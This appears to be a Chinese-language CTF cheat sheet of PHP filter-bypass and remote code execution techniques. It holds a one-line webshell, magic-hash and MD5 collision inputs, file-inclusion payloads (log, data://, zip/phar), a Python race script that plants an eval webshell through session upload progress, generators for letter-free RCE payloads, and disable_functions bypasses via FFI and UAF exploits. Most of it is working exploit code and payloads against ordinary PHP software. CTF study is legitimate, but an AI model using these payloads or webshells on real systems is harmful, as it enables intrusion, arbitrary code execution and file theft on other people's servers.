PHP绕过姿势

一、常用函数

phpinfo() #PHP配置页

file_get_contents() #获取文件内容

get_defined_vars() #获取所有文件(包括包含的文件)变量的值

二、变种一句话

PHP

$_GET[a]($_GET[b]);

三、常用php://filter过滤器

  • 无过滤器

    php://filter/resource=

  • 字符串过滤器

    php://filter/read=string.rot13/resource=

    php://filter/read=string.toupper/resource=

    php://filter/read=string.tolower/resource=

    php://filter/read=string.string_tags/resource=

  • 转换过滤器

    php://filter/read=convert.base64-encode/resource=

    php://filter/read=convert.quoted-printable-encode/resource=

四、绕过

  • intval()

    1. 进制转换

      十六进制:0x???

      二进制:0b???

  • preg_match()

    1. 换行符 %0a(按行匹配类)

      preg_match值只匹配第一行,对于/^xxx$/类型,在末尾加上%0a即可绕过。

    2. 命名空间(\)

      在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

      1
      2
      3
      #例
      <?php namespace ccc;\eval($_REQUEST['a']);
      <?php \system('cat /tmp/flag_XXXX');

      参考:https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-题解-学习篇/#function

    3. 符号绕过

      • 分号:?>闭合
      • 小括号:?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=index.php
    4. 数组绕过

      preg_match只能处理字符串,当传入的subject是数组时会返回false。

    5. PCRE回溯次数限制

      参考:PHP利用PCRE回溯次数限制绕过某些安全限制

      pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false。

  • in_array()

    1. 命名空间(\)

      在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

      1
      2
      3
      #例
      <?php namespace ccc;\eval($_REQUEST['a']);
      <?php \system('cat /tmp/flag_XXXX');

      参考:Code-Breaking-Puzzles-题解-学习篇

  • $_SERVER[‘QUERY_STRING’]

    1. URL编码

      $_SERVER[‘QUERY_STRING’]不会进行URLDecode。

    2. 变量覆盖

      ?_POST[key1]=36d&_POST[key2]=36d

  • $_REQUEST

    1. POST覆盖

      $_REQUEST同时接受GET和POST的数据,并且POST具有更高的优先值,只需要同时GET和POST有相同的参数,在检测时POST的值就会覆盖GET的值从而绕过。

  • file_get_contents()

    1. 使用 php://input 或 data://text/plain,xxx 写文件
  • sha1()比较

    1. 以数组为参数

      sha1()函数无法处理数组类型,将报错并返回false。

    2. 特殊情况汇总

      sha1('0e1290633704')=='0e19985187802402577070739524195726831799'

  • md5()比较

    1. 比较缺陷利用(限==弱类型情况)

      QNKCDZO - 0e830400451993494058024219903391
      240610708 - 0e462097431906509019562988736854
      s878926199a - 0e545993274517709034328855841020
      s155964671a - 0e342768416822451524974117254469
      s214587387a - 0e848240448830537924465865611904
      s878926199a - 0e545993274517709034328855841020
      s1091221200a - 0e940624217856561557816327384675

    2. 比较缺陷利用(限===强类型情况)

      两组经过url编码后的值:

      1
      2
      3
      4
      5
      6
      7
      #1
      a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
      b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

      #2
      a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
      b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%
    3. 以数组为参数

      md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

    4. NaN 和 INF

      NANINF,分别为非数字和无穷大,但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN===NAN都是false,但md5('NaN')===md5('NaN')为true。

    5. md5(string,raw)

      md5(string,raw)

      string 必需。规定要计算的字符串。
      raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式;FALSE - 默认,32 字符十六进制数。

      经典绕过字符串ffifdyop,经过md5函数后结果为 'or'6�]��!r,��b

  • create_function()

    1. 代码注入
  • call_user_func()

    1. 调用类静态方法

      call_user_func('Func::_One','one')

      call_user_func(['Func','_One'])

      参考:https://cloud.tencent.com/developer/article/1411010

  • ereg()

    1. NULL截断漏洞

      ereg()函数存在NULL截断漏洞,可以%00截断,遇到%00则默认为字符串的结束,所以可以绕过一些正则表达式的检查。

      ereg()只能处理字符串的,遇到数组做参数返回NULL。

  • strpos()

    1. 以数组为参数

      strpos()函数如果传入数组,便会返回NULL。

  • strcmp()

    1. 函数缺陷

      strcmp()函数比较两个字符串(区分大小写),定义中是比较字符串类型的,但如果输入其他类型这个函数将发生错误,在官方文档的说明中说到在php 5.2版本之前,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0

  • preg_replace()

    1. 代码执行(限/e模式)

      preg_replace(PHP 5.5)
      功能 : 函数执行一个正则表达式的搜索和替换
      定义 : mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject )
      搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换
      $pattern 存在 /e 模式修正符,允许代码执行
      /e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行

  • is_file()

    1. 超过20次软链接后可以绕过:

      ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

  • include() (文件包含)

    1. 日志包含

      URL:?x=/var/log/nginx/access.log

      修改User-Agent<?php highlight_file('xxx.php'); ?>

    2. 有后缀绕过

      ?c=data:text/plain,<?php system('ls')?>

      ?c=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4

    3. zip/phar协议包含(有特定后缀)

      这个方法适用于验证包含文件为特定后缀时。

      • zip

        首先新建一个zip文件,里面压缩着一个php脚本。

        然后构造zip://php.zip#php.jpg

        http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

      • phar (PHP版本>5.3.0)

        首先要用phar类打包一个phar标准包:

        1
        2
        3
        4
        5
        <?php
        $p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP);
        $x=file_get_contents('./php.php');
        $p->addFromString('a.jpg', $x);
        ?>

        会生成一个zip的压缩文件。然后构造

        http://127.0.0.1/file.php?file=phar://php.zip/php.jpg

    4. 利用session.upload_progress

      可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。

      如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

      session有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

      默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,此时我们可以利用竞争,在session文件内容清空前进行包含利用。

      参考:https://www.freebuf.com/vuls/202819.html

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      #coding=utf-8
      import io
      import requests
      import threading
      sessid = 'Q'
      data = {"cmd":"system('cat fl0g.php');"}
      url = 'http://6bad481c-1da6-4a89-92f6-db28a56e4f28.chall.ctf.show/index.php'
      def write(session):
      while True:
      f = io.BytesIO(b'a' * 1024 * 50)
      resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('q.txt',f)}, cookies={'PHPSESSID': sessid} )
      def read(session):
      while True:
      resp = session.post(url+'?file=/tmp/sess_'+sessid,data=data)
      if 'q.txt' in resp.text:
      print(resp.text)
      event.clear()
      else:
      #print("[+++++++++++++]retry")
      pass
      if __name__=="__main__":
      event=threading.Event()
      with requests.session() as session:
      for i in range(1,30):
      threading.Thread(target=write,args=(session,)).start()
      for i in range(1,30):
      threading.Thread(target=read,args=(session,)).start()
      event.set()

  • die() / exit()

    参考:https://www.anquanke.com/post/id/202510

  • 参数特性

    1. 参数中的+[`、.均会变为_`

    2. 参数形式A_B.C:使用A[B.C传入

  • 无字母/数字/特定符号RCE

    1. 取反(~

      phpinfo()(~%8F%97%8F%96%91%99%90)()

      system('ls')(~%8C%86%8C%8B%9A%92)(~%93%8C)

    2. 异或(^

      phpinfo()$_GET[x]&x=phpinfo${%A0%A0%A0%A0^%FF%E7%E5%F4}{x}()&x=phpinfo

      system('ls')$_GET[x]($_GET[y])&x=system&y=ls${%A0%A0%A0%A0^%FF%E7%E5%F4}{x}(${%A0%A0%A0%A0^%FF%E7%E5%F4}{y})&x=system&y=ls `

    3. 或(|

      可以直接将需要构造的字符串与反引号进行异或,得到的结果再与反引号相即可得到原字符串。

      1
      2
      3
      <?php
      echo "````````"^"readfile";
      echo "````"^"flag";

      payload例:(readfile("/flag")

      $code = "('````````'|' ')('/````'|'/ '));//";

      参考:

      https://blog.csdn.net/miuzzx/article/details/108569080

      https://blog.csdn.net/miuzzx/article/details/109143413

      构造:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      <?php

      /* author yu22x */

      $myfile = fopen("or_rce.txt", "w");
      $contents="";
      for ($i=0; $i < 256; $i++) {
      for ($j=0; $j <256 ; $j++) {

      if($i<16){
      $hex_i='0'.dechex($i);
      }
      else{
      $hex_i=dechex($i);
      }
      if($j<16){
      $hex_j='0'.dechex($j);
      }
      else{
      $hex_j=dechex($j);
      }
      $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
      if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
      echo "";
      }

      else{
      $a='%'.$hex_i;
      $b='%'.$hex_j;
      $c=(urldecode($a)|urldecode($b));
      if (ord($c)>=32&ord($c)<=126) {
      $contents=$contents.$c." ".$a." ".$b."\n";
      }
      }

      }
      }
      fwrite($myfile,$contents);
      fclose($myfile);
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      # -*- coding: utf-8 -*-

      # author yu22x

      import requests
      import urllib
      from sys import *
      import os
      def action(arg):
      s1=""
      s2=""
      for i in arg:
      f=open("or_rce.txt","r")
      while True:
      t=f.readline()
      if t=="":
      break
      if t[0]==i:
      #print(i)
      s1+=t[2:5]
      s2+=t[6:9]
      break
      f.close()
      output="(\""+s1+"\"|\""+s2+"\")" #双引号可换单引号
      return(output)

      while True:
      param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
      print(param)
    4. ++运算构造

      参考:https://www.gem-love.com/ctf/2598.html

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      #!/usr/bin/env python3
      #-*- coding:utf-8 -*-
      #__author__: 颖奇L'Amore www.gem-love.com
      import requests
      from urllib.parse import quote_plus

      def g(payload, buff):
      offset = 3 + buff
      res = ""
      base = 65
      for i in range(len(payload)):
      if payload[i] == '_' or payload[i] == '/':
      continue
      _ascii = ord(payload[i])
      #init
      underline = "$" + ("_" * (i + offset))
      undefined = "$" + ("_" * (len(payload) + offset + 15))
      var = f"++{underline};$__-={underline};$__++;{underline}/=$__;{underline}=(({undefined}/{undefined}).{underline})"+r"{++$__};$__--;"
      res += var;
      tmp = ''
      if _ascii > base:
      for i in range(_ascii-base):
      tmp = tmp + f"++{underline};"
      res += tmp

      first = "$" + ("_" * offset)
      for i in range(1, len(payload)):
      if payload[i] == '_':
      res += f"{first}.='_';"
      continue
      if payload[i] == '/':
      res += f"{first}.='/';"
      continue
      final_var = "$" + ("_" * (i + offset))
      res += f"{first}.={final_var};"
      return [res, "$" + "_" * (offset)]

      pre = "'');"
      after = '//'

      buff = len('STRTOLOWERSHOW_SOURCE')
      flag = g("/FLAG", buff)

      buff = len('STRTOLOWER')
      showsource = g("SHOW_SOURCE", buff)

      buff = 0
      strtolower = g('STRTOLOWER', buff)

      final = ''

      #1.构造STRTOLOWER并存进变量a
      final += strtolower[0]
      a = strtolower[1] # a = '$___' # STRTOLOWER

      #2.构造SHOW_SOURCE并存进变量b
      final += showsource[0]
      b = showsource[1] # b = '$_____________' #SHOW_SOURCE

      #3.构造/FLAG并存进变量c
      final += flag[0] + flag[1] + "='/'." + flag[1] + ';'
      c = flag[1] # c = '$________________________' #/FLAG

      #声明好abc变量
      padding = f'$______________________________________________={a};$_______________________________________________={b};$________________________________________________={c};'
      final += padding

      # 4.变量d = a(c) 则变量d为/flag
      d = "$______________________________________________($________________________________________________);"
      padding = '$_________________________________________________='+d
      final += padding

      #5. b(d) 即为SHOW_SOURCE('/flag')
      final += '$_______________________________________________($_________________________________________________);'

      final = pre + final
      final = final + after
      print(final.replace('+', '%2b'))
    5. 文件上传+执行

      参考:

      https://blog.csdn.net/qq_46091464/article/details/108513145

      https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

      发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

      执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

      • *可以代替0个及以上任意字符
      • ?可以代表1个任意字符

      那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

      但是,在执行第一个匹配上的文件的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

      glob通配符支持用[^x]的方法来构造“这个位置不是字符x”。可以利用[@-[]来表示大写字母。当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

      POST上传文件数据包

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      <!DOCTYPE html>
      <html lang="en">
      <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>POST数据包POC</title>
      </head>
      <body>
      <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
      <!--链接是当前打开的题目链接-->
      <label for="file">文件名:</label>
      <input type="file" name="file" id="file"><br>
      <input type="submit" name="submit" value="提交">
      </form>
      </body>
      </html>

      在上传文件1.php内容添加sh命令

      1
      2
      #!/bin/sh
      ls

      上传抓包,构造poc执行命令

      ?c=.+/???/????????[@-[]

    6. 通配符(仅无字母)

      base64: /???/????64 ????.???

      bzip2: /???/???/????2 ????.???

    7. 纯数字构造(Linux系统级)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      $((${_}))
      #0

      $((~$((${_}))))
      #-1

      $((~$(($((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))+$((~$((${_}))))))))
      #36
      #去+号也可

      $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
      #36
      #去+号也可
  • 无参数RCE

    • 无参函数

      • phpinfo()

      • localeconv()

        返回一包含本地数字及货币格式信息的数组,而数组第一项就是.

      • time()

        返回当前Unix时间戳。

      • localtime()

        取得本地时间。

      • getcwd()

        返回当前工作目录。

      • getenv()

        获取一个环境变量的值(在7.1之后可以不给予参数)。

      • getallheaders()

        获取全部HTTP请求头信息。(Apache)

      • get_defined_vars()

        返回由所有已定义变量所组成的数组。(Nginx)

      • session_start()

        启动新会话或者重用现有会话,告诉PHP使用session。(PHP默认是不主动使用session的,配合session_id()

    • 套用函数(有参)

      • scandir()

        列出指定路径中的文件和目录。

        scandir('.')

      • glob()

        返回匹配指定模式的文件名或目录。

        print_r(glob("*"));

      • current()

        返回数组中的当前单元,默认取第一个值。

        current(localeconv()) → .

      • pos()

        返回数组中的当前元素的值,current()函数的别名。

      • next() / prev() / reset() / end()

        将数组的内部指针向前移动一位 / 倒回一位 / 指向第一个单元 / 指向最后一个单元。

    • chdir()

      改变目录。

    • file_get_contents()

    • highlight_file() / show_source()

    • readfile() / readgzfile()

    • echo()

    • print_r()

    • var_dump()

    • dirname()

      返回路径中的目录部分。

    • chr()

      从指定的 ASCII 值返回字符。

    • array_reverse()

      以相反的元素顺序返回数组。

    • array_rand()

      返回数组中的随机键名,或者如果规定函数返回不只一个键名,则返回包含随机键名的数组。

    • array_flip()

      用于反转/交换数组中所有的键名以及它们关联的键值。

    • array_slice()

      在数组中根据条件取出一段值,并返回。

    • hex2bin()

      转换十六进制字符串为二进制字符串。

    • session_id()

      获取到当前的session id。

      session_id(session_start())

    • 参考

      https://www.cnblogs.com/wangtanzhi/p/12311239.html

  • 列目录

    • SPL目录类:DirectoryIterator

      1
      2
      3
      4
      5
      6
      <?php
      $a = new DirectoryIterator("glob:///*");
      foreach($a as $f){
      echo($f->__toString().'<br>');
      }
      ?>
    • SPL目录类:FilesystemIterator

      1
      2
      3
      <?php
      echo new FilesystemIterator(getcwd());
      ?>
    • scandir()

    • 面向过程方法:opendir(),readdir(),closedir()

    • 面向对象方法:PHP的dir

  • 读文件

    • file_get_contents() / highlight_file() / show_source() / readfile() / readgzfile() / print_r(file())

    • fopen() / fread() / fgets() / fgetc() / fgetss() / fgetcsv()

      1
      2
      3
      4
      5
      6
      $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}       //php7.3版本后 该函数已不再被使用
      $a=fopen("flag.php","r");echo fpassthru($a);
      $a=fopen("flag.php","r");echo fread($a,"1000");
      $a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
      $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
      $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
    • include() / require()

      适用非php文件

    • Mysql

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      <?php
      $conn = new mysqli("localhost", "root", "root");
      if ($conn->connect_error) {
      die("连接失败: " . $conn->connect_error);
      }

      $sql = "SELECT LOAD_FILE('/flag.txt') as my";
      $result = $conn->query($sql);

      if ($result->num_rows > 0) {
      while($row = $result->fetch_assoc()) {
      echo $row["my"];
      }
      } else {
      echo "0 结果";
      }
      $conn->close();
      ?>

  • 读类信息

    • ReflectionClass::export()

  • bypass disable_function

    • UAF

      php7-gc-bypassphp7-backtrace-bypassphp-json-bypass

      法1:修改pwn()传入的cmd,上传php至可写目录,include包含执行。

      法2:无需上传,将代码放入eval函数执行。

      • 参考题

        buuoj-GKCTF2020-CheckIn

    • FFI

      使用条件:PHP版本>=7.4

      1
      2
      3
      $ffi = FFI::cdef("int system(const char *command);"); 
      $ffi->system("cd /;./readflag > /var/www/html/good.txt");
      readgzfile("good.txt");